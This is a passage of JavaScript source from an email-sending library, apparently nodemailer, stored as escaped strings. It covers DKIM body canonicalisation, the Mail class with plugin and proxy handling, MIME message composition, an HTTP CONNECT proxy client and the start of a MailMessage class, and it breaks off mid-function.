if (state === 'file' || state === 'line') {\n // non line/file ending character found, switch to body mode\n state = 'body';\n if (i === chunk.length - 1) {\n // final char is not part of line end or file end, so do nothing\n break;\n }\n }\n\n if (i === 0) {\n // reached to the beginning of the chunk, check if it is still about the ending\n // and if the remainder also matches\n if (\n (state === 'file' && (!this.remainder || /[\\r\\n]$/.test(this.remainder))) ||\n (state === 'line' && (!this.remainder || /[ \\t]$/.test(this.remainder)))\n ) {\n // keep everything\n this.remainder += chunk.toString('binary');\n return;\n } else if (state === 'line' || state === 'file') {\n // process existing remainder as normal line but store the current chunk\n nextRemainder = chunk.toString('binary');\n chunk = false;\n break;\n }\n }\n\n if (state !== 'body') {\n continue;\n }\n\n // reached first non ending byte\n nextRemainder = chunk.slice(i + 1).toString('binary');\n chunk = chunk.slice(0, i + 1);\n break;\n }\n\n let needsFixing = !!this.remainder;\n if (chunk && !needsFixing) {\n // check if we even need to change anything\n for (let i = 0, len = chunk.length; i < len; i++) {\n if (i && chunk[i] === 0x0a && chunk[i - 1] !== 0x0d) {\n // missing \\r before \\n\n needsFixing = true;\n break;\n } else if (i && chunk[i] === 0x0d && chunk[i - 1] === 0x20) {\n // trailing WSP found\n needsFixing = true;\n break;\n } else if (i && chunk[i] === 0x20 && chunk[i - 1] === 0x20) {\n // multiple spaces found, needs to be replaced with just one\n needsFixing = true;\n break;\n } else if (chunk[i] === 0x09) {\n // TAB found, needs to be replaced with a space\n needsFixing = true;\n break;\n }\n }\n }\n\n if (needsFixing) {\n bodyStr = this.remainder + (chunk ? chunk.toString('binary') : '');\n this.remainder = nextRemainder;\n bodyStr = bodyStr\n .replace(/\\r?\\n/g, '\\n') // use js line endings\n .replace(/[ \\t]*$/gm, '') // remove line endings, rtrim\n .replace(/[ \\t]+/gm, ' ') // single spaces\n .replace(/\\n/g, '\\r\\n'); // restore rfc822 line endings\n chunk = Buffer.from(bodyStr, 'binary');\n } else if (nextRemainder) {\n this.remainder = nextRemainder;\n }\n\n if (this.debug) {\n this._debugBody.push(chunk);\n }\n this.bodyHash.update(chunk);\n }\n\n _transform(chunk, encoding, callback) {\n if (!chunk || !chunk.length) {\n return callback();\n }\n\n if (typeof chunk === 'string') {\n chunk = Buffer.from(chunk, encoding);\n }\n\n this.updateHash(chunk);\n\n this.byteLength += chunk.length;\n this.push(chunk);\n callback();\n }\n\n _flush(callback) {\n // generate final hash and emit it\n if (/[\\r\\n]$/.test(this.remainder) && this.byteLength > 2) {\n // add terminating line end\n this.bodyHash.update(Buffer.from('\\r\\n'));\n }\n if (!this.byteLength) {\n // emit empty line buffer to keep the stream flowing\n this.push(Buffer.from('\\r\\n'));\n // this.bodyHash.update(Buffer.from('\\r\\n'));\n }\n\n this.emit('hash', this.bodyHash.digest('base64'), this.debug ? Buffer.concat(this._debugBody) : false);\n callback();\n }\n}\n\nmodule.exports = RelaxedBody;\n","'use strict';\n\nconst EventEmitter = require('events');\nconst shared = require('../shared');\nconst mimeTypes = require('../mime-funcs/mime-types');\nconst MailComposer = require('../mail-composer');\nconst DKIM = require('../dkim');\nconst httpProxyClient = require('../smtp-connection/http-proxy-client');\nconst util = require('util');\nconst urllib = require('url');\nconst packageData = require('../../package.json');\nconst MailMessage = require('./mail-message');\nconst net = require('net');\nconst dns = require('dns');\nconst crypto = require('crypto');\n\n/**\n * Creates an object for exposing the Mail API\n *\n * @constructor\n * @param {Object} transporter Transport object instance to pass the mails to\n */\nclass Mail extends EventEmitter {\n constructor(transporter, options, defaults) {\n super();\n\n this.options = options || {};\n this._defaults = defaults || {};\n\n this._defaultPlugins = {\n compile: [(...args) => this._convertDataImages(...args)],\n stream: []\n };\n\n this._userPlugins = {\n compile: [],\n stream: []\n };\n\n this.meta = new Map();\n\n this.dkim = this.options.dkim ? new DKIM(this.options.dkim) : false;\n\n this.transporter = transporter;\n this.transporter.mailer = this;\n\n this.logger = shared.getLogger(this.options, {\n component: this.options.component || 'mail'\n });\n\n this.logger.debug(\n {\n tnx: 'create'\n },\n 'Creating transport: %s',\n this.getVersionString()\n );\n\n // setup emit handlers for the transporter\n if (typeof this.transporter.on === 'function') {\n // deprecated log interface\n this.transporter.on('log', log => {\n this.logger.debug(\n {\n tnx: 'transport'\n },\n '%s: %s',\n log.type,\n log.message\n );\n });\n\n // transporter errors\n this.transporter.on('error', err => {\n this.logger.error(\n {\n err,\n tnx: 'transport'\n },\n 'Transport Error: %s',\n err.message\n );\n this.emit('error', err);\n });\n\n // indicates if the sender has became idle\n this.transporter.on('idle', (...args) => {\n this.emit('idle', ...args);\n });\n }\n\n /**\n * Optional methods passed to the underlying transport object\n */\n ['close', 'isIdle', 'verify'].forEach(method => {\n this[method] = (...args) => {\n if (typeof this.transporter[method] === 'function') {\n if (method === 'verify' && typeof this.getSocket === 'function') {\n this.transporter.getSocket = this.getSocket;\n this.getSocket = false;\n }\n return this.transporter[method](...args);\n } else {\n this.logger.warn(\n {\n tnx: 'transport',\n methodName: method\n },\n 'Non existing method %s called for transport',\n method\n );\n return false;\n }\n };\n });\n\n // setup proxy handling\n if (this.options.proxy && typeof this.options.proxy === 'string') {\n this.setupProxy(this.options.proxy);\n }\n }\n\n use(step, plugin) {\n step = (step || '').toString();\n if (!this._userPlugins.hasOwnProperty(step)) {\n this._userPlugins[step] = [plugin];\n } else {\n this._userPlugins[step].push(plugin);\n }\n\n return this;\n }\n\n /**\n * Sends an email using the preselected transport object\n *\n * @param {Object} data E-data description\n * @param {Function?} callback Callback to run once the sending succeeded or failed\n */\n sendMail(data, callback = null) {\n let promise;\n\n if (!callback) {\n promise = new Promise((resolve, reject) => {\n callback = shared.callbackPromise(resolve, reject);\n });\n }\n\n if (typeof this.getSocket === 'function') {\n this.transporter.getSocket = this.getSocket;\n this.getSocket = false;\n }\n\n let mail = new MailMessage(this, data);\n\n this.logger.debug(\n {\n tnx: 'transport',\n name: this.transporter.name,\n version: this.transporter.version,\n action: 'send'\n },\n 'Sending mail using %s/%s',\n this.transporter.name,\n this.transporter.version\n );\n\n this._processPlugins('compile', mail, err => {\n if (err) {\n this.logger.error(\n {\n err,\n tnx: 'plugin',\n action: 'compile'\n },\n 'PluginCompile Error: %s',\n err.message\n );\n return callback(err);\n }\n\n mail.message = new MailComposer(mail.data).compile();\n\n mail.setMailerHeader();\n mail.setPriorityHeaders();\n mail.setListHeaders();\n\n this._processPlugins('stream', mail, err => {\n if (err) {\n this.logger.error(\n {\n err,\n tnx: 'plugin',\n action: 'stream'\n },\n 'PluginStream Error: %s',\n err.message\n );\n return callback(err);\n }\n\n if (mail.data.dkim || this.dkim) {\n mail.message.processFunc(input => {\n let dkim = mail.data.dkim ? new DKIM(mail.data.dkim) : this.dkim;\n this.logger.debug(\n {\n tnx: 'DKIM',\n messageId: mail.message.messageId(),\n dkimDomains: dkim.keys.map(key => key.keySelector + '.' + key.domainName).join(', ')\n },\n 'Signing outgoing message with %s keys',\n dkim.keys.length\n );\n return dkim.sign(input, mail.data._dkim);\n });\n }\n\n this.transporter.send(mail, (...args) => {\n if (args[0]) {\n this.logger.error(\n {\n err: args[0],\n tnx: 'transport',\n action: 'send'\n },\n 'Send Error: %s',\n args[0].message\n );\n }\n callback(...args);\n });\n });\n });\n\n return promise;\n }\n\n getVersionString() {\n return util.format('%s (%s; +%s; %s/%s)', packageData.name, packageData.version, packageData.homepage, this.transporter.name, this.transporter.version);\n }\n\n _processPlugins(step, mail, callback) {\n step = (step || '').toString();\n\n if (!this._userPlugins.hasOwnProperty(step)) {\n return callback();\n }\n\n let userPlugins = this._userPlugins[step] || [];\n let defaultPlugins = this._defaultPlugins[step] || [];\n\n if (userPlugins.length) {\n this.logger.debug(\n {\n tnx: 'transaction',\n pluginCount: userPlugins.length,\n step\n },\n 'Using %s plugins for %s',\n userPlugins.length,\n step\n );\n }\n\n if (userPlugins.length + defaultPlugins.length === 0) {\n return callback();\n }\n\n let pos = 0;\n let block = 'default';\n let processPlugins = () => {\n let curplugins = block === 'default' ? defaultPlugins : userPlugins;\n if (pos >= curplugins.length) {\n if (block === 'default' && userPlugins.length) {\n block = 'user';\n pos = 0;\n curplugins = userPlugins;\n } else {\n return callback();\n }\n }\n let plugin = curplugins[pos++];\n plugin(mail, err => {\n if (err) {\n return callback(err);\n }\n processPlugins();\n });\n };\n\n processPlugins();\n }\n\n /**\n * Sets up proxy handler for a Nodemailer object\n *\n * @param {String} proxyUrl Proxy configuration url\n */\n setupProxy(proxyUrl) {\n let proxy = urllib.parse(proxyUrl);\n\n // setup socket handler for the mailer object\n this.getSocket = (options, callback) => {\n let protocol = proxy.protocol.replace(/:$/, '').toLowerCase();\n\n if (this.meta.has('proxy_handler_' + protocol)) {\n return this.meta.get('proxy_handler_' + protocol)(proxy, options, callback);\n }\n\n switch (protocol) {\n // Connect using a HTTP CONNECT method\n case 'http':\n case 'https':\n httpProxyClient(proxy.href, options.port, options.host, (err, socket) => {\n if (err) {\n return callback(err);\n }\n return callback(null, {\n connection: socket\n });\n });\n return;\n case 'socks':\n case 'socks5':\n case 'socks4':\n case 'socks4a': {\n if (!this.meta.has('proxy_socks_module')) {\n return callback(new Error('Socks module not loaded'));\n }\n let connect = ipaddress => {\n let proxyV2 = !!this.meta.get('proxy_socks_module').SocksClient;\n let socksClient = proxyV2 ? this.meta.get('proxy_socks_module').SocksClient : this.meta.get('proxy_socks_module');\n let proxyType = Number(proxy.protocol.replace(/\\D/g, '')) || 5;\n let connectionOpts = {\n proxy: {\n ipaddress,\n port: Number(proxy.port),\n type: proxyType\n },\n [proxyV2 ? 'destination' : 'target']: {\n host: options.host,\n port: options.port\n },\n command: 'connect'\n };\n\n if (proxy.auth) {\n let username = decodeURIComponent(proxy.auth.split(':').shift());\n let password = decodeURIComponent(proxy.auth.split(':').pop());\n if (proxyV2) {\n connectionOpts.proxy.userId = username;\n connectionOpts.proxy.password = password;\n } else if (proxyType === 4) {\n connectionOpts.userid = username;\n } else {\n connectionOpts.authentication = {\n username,\n password\n };\n }\n }\n\n socksClient.createConnection(connectionOpts, (err, info) => {\n if (err) {\n return callback(err);\n }\n return callback(null, {\n connection: info.socket || info\n });\n });\n };\n\n if (net.isIP(proxy.hostname)) {\n return connect(proxy.hostname);\n }\n\n return dns.resolve(proxy.hostname, (err, address) => {\n if (err) {\n return callback(err);\n }\n connect(Array.isArray(address) ? address[0] : address);\n });\n }\n }\n callback(new Error('Unknown proxy configuration'));\n };\n }\n\n _convertDataImages(mail, callback) {\n if ((!this.options.attachDataUrls && !mail.data.attachDataUrls) || !mail.data.html) {\n return callback();\n }\n mail.resolveContent(mail.data, 'html', (err, html) => {\n if (err) {\n return callback(err);\n }\n let cidCounter = 0;\n html = (html || '')\n .toString()\n .replace(/(<img\\b[^<>]{0,1024} src\\s{0,20}=[\\s\"']{0,20})(data:([^;]+);[^\"'>\\s]+)/gi, (match, prefix, dataUri, mimeType) => {\n let cid = crypto.randomBytes(10).toString('hex') + '@localhost';\n if (!mail.data.attachments) {\n mail.data.attachments = [];\n }\n if (!Array.isArray(mail.data.attachments)) {\n mail.data.attachments = [].concat(mail.data.attachments || []);\n }\n mail.data.attachments.push({\n path: dataUri,\n cid,\n filename: 'image-' + ++cidCounter + '.' + mimeTypes.detectExtension(mimeType)\n });\n return prefix + 'cid:' + cid;\n });\n mail.data.html = html;\n callback();\n });\n }\n\n set(key, value) {\n return this.meta.set(key, value);\n }\n\n get(key) {\n return this.meta.get(key);\n }\n}\n\nmodule.exports = Mail;\n","/* eslint no-undefined: 0 */\n\n'use strict';\n\nconst MimeNode = require('../mime-node');\nconst mimeFuncs = require('../mime-funcs');\nconst parseDataURI = require('../shared').parseDataURI;\n\n/**\n * Creates the object for composing a MimeNode instance out from the mail options\n *\n * @constructor\n * @param {Object} mail Mail options\n */\nclass MailComposer {\n constructor(mail) {\n this.mail = mail || {};\n this.message = false;\n }\n\n /**\n * Builds MimeNode instance\n */\n compile() {\n this._alternatives = this.getAlternatives();\n this._htmlNode = this._alternatives.filter(alternative => /^text\\/html\\b/i.test(alternative.contentType)).pop();\n this._attachments = this.getAttachments(!!this._htmlNode);\n\n this._useRelated = !!(this._htmlNode && this._attachments.related.length);\n this._useAlternative = this._alternatives.length > 1;\n this._useMixed = this._attachments.attached.length > 1 || (this._alternatives.length && this._attachments.attached.length === 1);\n\n // Compose MIME tree\n if (this.mail.raw) {\n this.message = new MimeNode('message/rfc822', { newline: this.mail.newline }).setRaw(this.mail.raw);\n } else if (this._useMixed) {\n this.message = this._createMixed();\n } else if (this._useAlternative) {\n this.message = this._createAlternative();\n } else if (this._useRelated) {\n this.message = this._createRelated();\n } else {\n this.message = this._createContentNode(\n false,\n []\n .concat(this._alternatives || [])\n .concat(this._attachments.attached || [])\n .shift() || {\n contentType: 'text/plain',\n content: ''\n }\n );\n }\n\n // Add custom headers\n if (this.mail.headers) {\n this.message.addHeader(this.mail.headers);\n }\n\n // Add headers to the root node, always overrides custom headers\n ['from', 'sender', 'to', 'cc', 'bcc', 'reply-to', 'in-reply-to', 'references', 'subject', 'message-id', 'date'].forEach(header => {\n let key = header.replace(/-(\\w)/g, (o, c) => c.toUpperCase());\n if (this.mail[key]) {\n this.message.setHeader(header, this.mail[key]);\n }\n });\n\n // Sets custom envelope\n if (this.mail.envelope) {\n this.message.setEnvelope(this.mail.envelope);\n }\n\n // ensure Message-Id value\n this.message.messageId();\n\n return this.message;\n }\n\n /**\n * List all attachments. Resulting attachment objects can be used as input for MimeNode nodes\n *\n * @param {Boolean} findRelated If true separate related attachments from attached ones\n * @returns {Object} An object of arrays (`related` and `attached`)\n */\n getAttachments(findRelated) {\n let icalEvent, eventObject;\n let attachments = [].concat(this.mail.attachments || []).map((attachment, i) => {\n let data;\n let isMessageNode = /^message\\//i.test(attachment.contentType);\n\n if (/^data:/i.test(attachment.path || attachment.href)) {\n attachment = this._processDataUrl(attachment);\n }\n\n let contentType = attachment.contentType || mimeFuncs.detectMimeType(attachment.filename || attachment.path || attachment.href || 'bin');\n let isImage = /^image\\//i.test(contentType);\n let contentDisposition = attachment.contentDisposition || (isMessageNode || (isImage && attachment.cid) ? 'inline' : 'attachment');\n\n data = {\n contentType,\n contentDisposition,\n contentTransferEncoding: 'contentTransferEncoding' in attachment ? attachment.contentTransferEncoding : 'base64'\n };\n\n if (attachment.filename) {\n data.filename = attachment.filename;\n } else if (!isMessageNode && attachment.filename !== false) {\n data.filename = (attachment.path || attachment.href || '').split('/').pop().split('?').shift() || 'attachment-' + (i + 1);\n if (data.filename.indexOf('.') < 0) {\n data.filename += '.' + mimeFuncs.detectExtension(data.contentType);\n }\n }\n\n if (/^https?:\\/\\//i.test(attachment.path)) {\n attachment.href = attachment.path;\n attachment.path = undefined;\n }\n\n if (attachment.cid) {\n data.cid = attachment.cid;\n }\n\n if (attachment.raw) {\n data.raw = attachment.raw;\n } else if (attachment.path) {\n data.content = {\n path: attachment.path\n };\n } else if (attachment.href) {\n data.content = {\n href: attachment.href,\n httpHeaders: attachment.httpHeaders\n };\n } else {\n data.content = attachment.content || '';\n }\n\n if (attachment.encoding) {\n data.encoding = attachment.encoding;\n }\n\n if (attachment.headers) {\n data.headers = attachment.headers;\n }\n\n return data;\n });\n\n if (this.mail.icalEvent) {\n if (\n typeof this.mail.icalEvent === 'object' &&\n (this.mail.icalEvent.content || this.mail.icalEvent.path || this.mail.icalEvent.href || this.mail.icalEvent.raw)\n ) {\n icalEvent = this.mail.icalEvent;\n } else {\n icalEvent = {\n content: this.mail.icalEvent\n };\n }\n\n eventObject = {};\n Object.keys(icalEvent).forEach(key => {\n eventObject[key] = icalEvent[key];\n });\n\n eventObject.contentType = 'application/ics';\n if (!eventObject.headers) {\n eventObject.headers = {};\n }\n eventObject.filename = eventObject.filename || 'invite.ics';\n eventObject.headers['Content-Disposition'] = 'attachment';\n eventObject.headers['Content-Transfer-Encoding'] = 'base64';\n }\n\n if (!findRelated) {\n return {\n attached: attachments.concat(eventObject || []),\n related: []\n };\n } else {\n return {\n attached: attachments.filter(attachment => !attachment.cid).concat(eventObject || []),\n related: attachments.filter(attachment => !!attachment.cid)\n };\n }\n }\n\n /**\n * List alternatives. Resulting objects can be used as input for MimeNode nodes\n *\n * @returns {Array} An array of alternative elements. Includes the `text` and `html` values as well\n */\n getAlternatives() {\n let alternatives = [],\n text,\n html,\n watchHtml,\n amp,\n icalEvent,\n eventObject;\n\n if (this.mail.text) {\n if (typeof this.mail.text === 'object' && (this.mail.text.content || this.mail.text.path || this.mail.text.href || this.mail.text.raw)) {\n text = this.mail.text;\n } else {\n text = {\n content: this.mail.text\n };\n }\n text.contentType = 'text/plain; charset=utf-8';\n }\n\n if (this.mail.watchHtml) {\n if (\n typeof this.mail.watchHtml === 'object' &&\n (this.mail.watchHtml.content || this.mail.watchHtml.path || this.mail.watchHtml.href || this.mail.watchHtml.raw)\n ) {\n watchHtml = this.mail.watchHtml;\n } else {\n watchHtml = {\n content: this.mail.watchHtml\n };\n }\n watchHtml.contentType = 'text/watch-html; charset=utf-8';\n }\n\n if (this.mail.amp) {\n if (typeof this.mail.amp === 'object' && (this.mail.amp.content || this.mail.amp.path || this.mail.amp.href || this.mail.amp.raw)) {\n amp = this.mail.amp;\n } else {\n amp = {\n content: this.mail.amp\n };\n }\n amp.contentType = 'text/x-amp-html; charset=utf-8';\n }\n\n // NB! when including attachments with a calendar alternative you might end up in a blank screen on some clients\n if (this.mail.icalEvent) {\n if (\n typeof this.mail.icalEvent === 'object' &&\n (this.mail.icalEvent.content || this.mail.icalEvent.path || this.mail.icalEvent.href || this.mail.icalEvent.raw)\n ) {\n icalEvent = this.mail.icalEvent;\n } else {\n icalEvent = {\n content: this.mail.icalEvent\n };\n }\n\n eventObject = {};\n Object.keys(icalEvent).forEach(key => {\n eventObject[key] = icalEvent[key];\n });\n\n if (eventObject.content && typeof eventObject.content === 'object') {\n // we are going to have the same attachment twice, so mark this to be\n // resolved just once\n eventObject.content._resolve = true;\n }\n\n eventObject.filename = false;\n eventObject.contentType = 'text/calendar; charset=utf-8; method=' + (eventObject.method || 'PUBLISH').toString().trim().toUpperCase();\n if (!eventObject.headers) {\n eventObject.headers = {};\n }\n }\n\n if (this.mail.html) {\n if (typeof this.mail.html === 'object' && (this.mail.html.content || this.mail.html.path || this.mail.html.href || this.mail.html.raw)) {\n html = this.mail.html;\n } else {\n html = {\n content: this.mail.html\n };\n }\n html.contentType = 'text/html; charset=utf-8';\n }\n\n []\n .concat(text || [])\n .concat(watchHtml || [])\n .concat(amp || [])\n .concat(html || [])\n .concat(eventObject || [])\n .concat(this.mail.alternatives || [])\n .forEach(alternative => {\n let data;\n\n if (/^data:/i.test(alternative.path || alternative.href)) {\n alternative = this._processDataUrl(alternative);\n }\n\n data = {\n contentType: alternative.contentType || mimeFuncs.detectMimeType(alternative.filename || alternative.path || alternative.href || 'txt'),\n contentTransferEncoding: alternative.contentTransferEncoding\n };\n\n if (alternative.filename) {\n data.filename = alternative.filename;\n }\n\n if (/^https?:\\/\\//i.test(alternative.path)) {\n alternative.href = alternative.path;\n alternative.path = undefined;\n }\n\n if (alternative.raw) {\n data.raw = alternative.raw;\n } else if (alternative.path) {\n data.content = {\n path: alternative.path\n };\n } else if (alternative.href) {\n data.content = {\n href: alternative.href\n };\n } else {\n data.content = alternative.content || '';\n }\n\n if (alternative.encoding) {\n data.encoding = alternative.encoding;\n }\n\n if (alternative.headers) {\n data.headers = alternative.headers;\n }\n\n alternatives.push(data);\n });\n\n return alternatives;\n }\n\n /**\n * Builds multipart/mixed node. It should always contain different type of elements on the same level\n * eg. text + attachments\n *\n * @param {Object} parentNode Parent for this note. If it does not exist, a root node is created\n * @returns {Object} MimeNode node element\n */\n _createMixed(parentNode) {\n let node;\n\n if (!parentNode) {\n node = new MimeNode('multipart/mixed', {\n baseBoundary: this.mail.baseBoundary,\n textEncoding: this.mail.textEncoding,\n boundaryPrefix: this.mail.boundaryPrefix,\n disableUrlAccess: this.mail.disableUrlAccess,\n disableFileAccess: this.mail.disableFileAccess,\n normalizeHeaderKey: this.mail.normalizeHeaderKey,\n newline: this.mail.newline\n });\n } else {\n node = parentNode.createChild('multipart/mixed', {\n disableUrlAccess: this.mail.disableUrlAccess,\n disableFileAccess: this.mail.disableFileAccess,\n normalizeHeaderKey: this.mail.normalizeHeaderKey,\n newline: this.mail.newline\n });\n }\n\n if (this._useAlternative) {\n this._createAlternative(node);\n } else if (this._useRelated) {\n this._createRelated(node);\n }\n\n []\n .concat((!this._useAlternative && this._alternatives) || [])\n .concat(this._attachments.attached || [])\n .forEach(element => {\n // if the element is a html node from related subpart then ignore it\n if (!this._useRelated || element !== this._htmlNode) {\n this._createContentNode(node, element);\n }\n });\n\n return node;\n }\n\n /**\n * Builds multipart/alternative node. It should always contain same type of elements on the same level\n * eg. text + html view of the same data\n *\n * @param {Object} parentNode Parent for this note. If it does not exist, a root node is created\n * @returns {Object} MimeNode node element\n */\n _createAlternative(parentNode) {\n let node;\n\n if (!parentNode) {\n node = new MimeNode('multipart/alternative', {\n baseBoundary: this.mail.baseBoundary,\n textEncoding: this.mail.textEncoding,\n boundaryPrefix: this.mail.boundaryPrefix,\n disableUrlAccess: this.mail.disableUrlAccess,\n disableFileAccess: this.mail.disableFileAccess,\n normalizeHeaderKey: this.mail.normalizeHeaderKey,\n newline: this.mail.newline\n });\n } else {\n node = parentNode.createChild('multipart/alternative', {\n disableUrlAccess: this.mail.disableUrlAccess,\n disableFileAccess: this.mail.disableFileAccess,\n normalizeHeaderKey: this.mail.normalizeHeaderKey,\n newline: this.mail.newline\n });\n }\n\n this._alternatives.forEach(alternative => {\n if (this._useRelated && this._htmlNode === alternative) {\n this._createRelated(node);\n } else {\n this._createContentNode(node, alternative);\n }\n });\n\n return node;\n }\n\n /**\n * Builds multipart/related node. It should always contain html node with related attachments\n *\n * @param {Object} parentNode Parent for this note. If it does not exist, a root node is created\n * @returns {Object} MimeNode node element\n */\n _createRelated(parentNode) {\n let node;\n\n if (!parentNode) {\n node = new MimeNode('multipart/related; type=\"text/html\"', {\n baseBoundary: this.mail.baseBoundary,\n textEncoding: this.mail.textEncoding,\n boundaryPrefix: this.mail.boundaryPrefix,\n disableUrlAccess: this.mail.disableUrlAccess,\n disableFileAccess: this.mail.disableFileAccess,\n normalizeHeaderKey: this.mail.normalizeHeaderKey,\n newline: this.mail.newline\n });\n } else {\n node = parentNode.createChild('multipart/related; type=\"text/html\"', {\n disableUrlAccess: this.mail.disableUrlAccess,\n disableFileAccess: this.mail.disableFileAccess,\n normalizeHeaderKey: this.mail.normalizeHeaderKey,\n newline: this.mail.newline\n });\n }\n\n this._createContentNode(node, this._htmlNode);\n\n this._attachments.related.forEach(alternative => this._createContentNode(node, alternative));\n\n return node;\n }\n\n /**\n * Creates a regular node with contents\n *\n * @param {Object} parentNode Parent for this note. If it does not exist, a root node is created\n * @param {Object} element Node data\n * @returns {Object} MimeNode node element\n */\n _createContentNode(parentNode, element) {\n element = element || {};\n element.content = element.content || '';\n\n let node;\n let encoding = (element.encoding || 'utf8')\n .toString()\n .toLowerCase()\n .replace(/[-_\\s]/g, '');\n\n if (!parentNode) {\n node = new MimeNode(element.contentType, {\n filename: element.filename,\n baseBoundary: this.mail.baseBoundary,\n textEncoding: this.mail.textEncoding,\n boundaryPrefix: this.mail.boundaryPrefix,\n disableUrlAccess: this.mail.disableUrlAccess,\n disableFileAccess: this.mail.disableFileAccess,\n normalizeHeaderKey: this.mail.normalizeHeaderKey,\n newline: this.mail.newline\n });\n } else {\n node = parentNode.createChild(element.contentType, {\n filename: element.filename,\n textEncoding: this.mail.textEncoding,\n disableUrlAccess: this.mail.disableUrlAccess,\n disableFileAccess: this.mail.disableFileAccess,\n normalizeHeaderKey: this.mail.normalizeHeaderKey,\n newline: this.mail.newline\n });\n }\n\n // add custom headers\n if (element.headers) {\n node.addHeader(element.headers);\n }\n\n if (element.cid) {\n node.setHeader('Content-Id', '<' + element.cid.replace(/[<>]/g, '') + '>');\n }\n\n if (element.contentTransferEncoding) {\n node.setHeader('Content-Transfer-Encoding', element.contentTransferEncoding);\n } else if (this.mail.encoding && /^text\\//i.test(element.contentType)) {\n node.setHeader('Content-Transfer-Encoding', this.mail.encoding);\n }\n\n if (!/^text\\//i.test(element.contentType) || element.contentDisposition) {\n node.setHeader(\n 'Content-Disposition',\n element.contentDisposition || (element.cid && /^image\\//i.test(element.contentType) ? 'inline' : 'attachment')\n );\n }\n\n if (typeof element.content === 'string' && !['utf8', 'usascii', 'ascii'].includes(encoding)) {\n element.content = Buffer.from(element.content, encoding);\n }\n\n // prefer pregenerated raw content\n if (element.raw) {\n node.setRaw(element.raw);\n } else {\n node.setContent(element.content);\n }\n\n return node;\n }\n\n /**\n * Parses data uri and converts it to a Buffer\n *\n * @param {Object} element Content element\n * @return {Object} Parsed element\n */\n _processDataUrl(element) {\n let parsedDataUri;\n if ((element.path || element.href).match(/^data:/)) {\n parsedDataUri = parseDataURI(element.path || element.href);\n }\n\n if (!parsedDataUri) {\n return element;\n }\n\n element.content = parsedDataUri.data;\n element.contentType = element.contentType || parsedDataUri.contentType;\n\n if ('path' in element) {\n element.path = false;\n }\n\n if ('href' in element) {\n element.href = false;\n }\n\n return element;\n }\n}\n\nmodule.exports = MailComposer;\n","'use strict';\n\n/**\n * Minimal HTTP/S proxy client\n */\n\nconst net = require('net');\nconst tls = require('tls');\nconst urllib = require('url');\n\n/**\n * Establishes proxied connection to destinationPort\n *\n * httpProxyClient(\"http://localhost:3128/\", 80, \"google.com\", function(err, socket){\n * socket.write(\"GET / HTTP/1.0\\r\\n\\r\\n\");\n * });\n *\n * @param {String} proxyUrl proxy configuration, etg \"http://proxy.host:3128/\"\n * @param {Number} destinationPort Port to open in destination host\n * @param {String} destinationHost Destination hostname\n * @param {Function} callback Callback to run with the rocket object once connection is established\n */\nfunction httpProxyClient(proxyUrl, destinationPort, destinationHost, callback) {\n let proxy = urllib.parse(proxyUrl);\n\n // create a socket connection to the proxy server\n let options;\n let connect;\n let socket;\n\n options = {\n host: proxy.hostname,\n port: Number(proxy.port) ? Number(proxy.port) : proxy.protocol === 'https:' ? 443 : 80\n };\n\n if (proxy.protocol === 'https:') {\n // we can use untrusted proxies as long as we verify actual SMTP certificates\n options.rejectUnauthorized = false;\n connect = tls.connect.bind(tls);\n } else {\n connect = net.connect.bind(net);\n }\n\n // Error harness for initial connection. Once connection is established, the responsibility\n // to handle errors is passed to whoever uses this socket\n let finished = false;\n let tempSocketErr = err => {\n if (finished) {\n return;\n }\n finished = true;\n try {\n socket.destroy();\n } catch (E) {\n // ignore\n }\n callback(err);\n };\n\n let timeoutErr = () => {\n let err = new Error('Proxy socket timed out');\n err.code = 'ETIMEDOUT';\n tempSocketErr(err);\n };\n\n socket = connect(options, () => {\n if (finished) {\n return;\n }\n\n let reqHeaders = {\n Host: destinationHost + ':' + destinationPort,\n Connection: 'close'\n };\n if (proxy.auth) {\n reqHeaders['Proxy-Authorization'] = 'Basic ' + Buffer.from(proxy.auth).toString('base64');\n }\n\n socket.write(\n // HTTP method\n 'CONNECT ' +\n destinationHost +\n ':' +\n destinationPort +\n ' HTTP/1.1\\r\\n' +\n // HTTP request headers\n Object.keys(reqHeaders)\n .map(key => key + ': ' + reqHeaders[key])\n .join('\\r\\n') +\n // End request\n '\\r\\n\\r\\n'\n );\n\n let headers = '';\n let onSocketData = chunk => {\n let match;\n let remainder;\n\n if (finished) {\n return;\n }\n\n headers += chunk.toString('binary');\n if ((match = headers.match(/\\r\\n\\r\\n/))) {\n socket.removeListener('data', onSocketData);\n\n remainder = headers.substr(match.index + match[0].length);\n headers = headers.substr(0, match.index);\n if (remainder) {\n socket.unshift(Buffer.from(remainder, 'binary'));\n }\n\n // proxy connection is now established\n finished = true;\n\n // check response code\n match = headers.match(/^HTTP\\/\\d+\\.\\d+ (\\d+)/i);\n if (!match || (match[1] || '').charAt(0) !== '2') {\n try {\n socket.destroy();\n } catch (E) {\n // ignore\n }\n return callback(new Error('Invalid response from proxy' + ((match && ': ' + match[1]) || '')));\n }\n\n socket.removeListener('error', tempSocketErr);\n socket.removeListener('timeout', timeoutErr);\n socket.setTimeout(0);\n\n return callback(null, socket);\n }\n };\n socket.on('data', onSocketData);\n });\n\n socket.setTimeout(httpProxyClient.timeout || 30 * 1000);\n socket.on('timeout', timeoutErr);\n\n socket.once('error', tempSocketErr);\n}\n\nmodule.exports = httpProxyClient;\n","'use strict';\n\nconst shared = require('../shared');\nconst MimeNode = require('../mime-node');\nconst mimeFuncs = require('../mime-funcs');\n\nclass MailMessage {\n constructor(mailer, data) {\n this.mailer = mailer;\n this.data = {};\n this.message = null;\n\n data = data || {};\n let options = mailer.options || {};\n let defaults = mailer._defaults || {};\n\n Object.keys(data).forEach(key => {\n this.data[key] = data[key];\n });\n\n this.data.headers = this.data.headers || {};\n\n // apply defaults\n Object.keys(defaults).forEach(key => {\n if (!(key in this.data)) {\n this.data[key] = defaults[key];\n } else if (key === 'headers') {\n // headers is a special case. Allow setting individual default headers\n Object.keys(defaults.headers).forEach(key => {\n if (!(key in this.data.headers)) {\n this.data.headers[key] = defaults.headers[key];\n }\n });\n }\n });\n\n // force specific keys from transporter options\n ['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey'].forEach(key => {\n if (key in options) {\n this.data[key] = options[key];\n }\n });\n }\n\n resolveContent(...args) {\n return shared.resolveContent(...args);\n }\n\n resolveAll(callback) {\n let keys = [\n [this.data, 'html'],\n [this.data, 'text'],\n [this.data, 'watchHtml'],\n [this.data, 'amp'],\n [this.data, 'icalEvent']\n ];\n\n if (this.data.alternatives && this.data.alternatives.length) {\n this.data.alternatives.forEach((alternative, i) => {\n 